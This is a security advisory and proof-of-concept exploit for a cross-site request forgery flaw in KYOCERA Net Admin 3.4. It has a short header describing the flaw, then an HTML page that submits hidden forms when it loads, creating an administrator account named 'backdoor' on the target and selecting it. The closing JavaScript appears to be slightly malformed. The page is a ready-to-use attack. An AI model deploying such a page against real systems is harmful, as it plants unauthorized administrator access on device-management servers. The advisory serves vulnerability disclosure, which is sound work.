#Vendor: KYOCERA Corporation
#Product https://global.kyocera.com
#Affected version: 3.4.0906
#
#Summary: KYOCERA Net Admin is Kyocera's unified
#device management software that uses a web-based
#platform to give network administrators easy and
#uncomplicated control to handle a fleet for up to
#10,000 devices. Tasks that used to require multiple
#programs or walking to each printer can now be
#accomplished in a single, fast and modern environment.
#
#Desc: The application interface allows users to perform
#certain actions via HTTP requests without performing
#any validity checks to verify the requests. This can
#be exploited to perform certain actions with administrative
#privileges if a logged-in user visits a malicious web
#site.
#
#Tested on: Microsoft Windows 7 Professional SP1 (EN)
#Apache Tomcat/8.5.15
#
#
#Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#@zeroscience
#
#
#Advisory ID: ZSL-2018-5458
#Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5458.php
<html>
<head>
<title>KYOCERA Net Admin 3.4 CSRF Add Admin Exploit</title>
</head>
<body onload="exploitrun();">
<!-- Add Administrator -->
<form name="create_user" action="https://192.168.18.133:7443/fwk-web/jsp/addUser.faces" method="POST" target="frame0">
<input type="hidden" name="userType" value="0" />
<input type="hidden" name="addUserForm:loginName" value="backdoor" />
<input type="hidden" name="addUserForm:pw" value="pass123" />
<input type="hidden" name="addUserForm:pwConfirm" value="pass123" />
<input type="hidden" name="addUserForm:role" value="administrator" />
<input type="hidden" name="addUserForm:required_name" value="name" />
<input type="hidden" name="addUserForm:required_email1" value="bd@db.ee" />
<input type="hidden" name="addUserForm:required_role" value="administrator" />
<input type="hidden" name="addUserForm:optional_name" value="Backdoor" />
<input type="hidden" name="addUserForm:company" value="ZSL" />
<input type="hidden" name="addUserForm:department" value="forensics" />
<input type="hidden" name="addUserForm:email2" value="bd2@db.ee" />
<input type="hidden" name="addUserForm:optional_phone" value="123-123-1234" />
<input type="hidden" name="addUserForm:optional_cell" value="321-321-3210" />
<input type="hidden" name="addUserForm:submitHidden" value="true" />
<input type="hidden" name="addUserForm_SUBMIT" value="1" />
<input type="hidden" name="addUserForm:_link_hidden_" value="" />
</form>
<!-- Update Node -->
<form name="update_node" action="https://192.168.18.133:7443/fwk-web/servlet/EventControllerServlet" method="GET" target="frame1">
<input type="hidden" name="bname" value="" />
<input type="hidden" name="ts" value="1522690965730" />
<input type="hidden" name="cmd" value="tv_set_cur_node" />
<input type="hidden" name="node_id" value="root.user_administration.administrator.backdoor" />
</form>
<iframe name="frame0"></iframe>
<iframe name="frame1"></iframe>
<script>
function exploitrun()
{
document.create_user.submit();
document.getElementsByTagName("iframe")[0].onload = function()
{
document.update_node.submit();
document.getElementsByTagName("iframe")[1].onload = function()
}
}
</script>
</body>
</html>
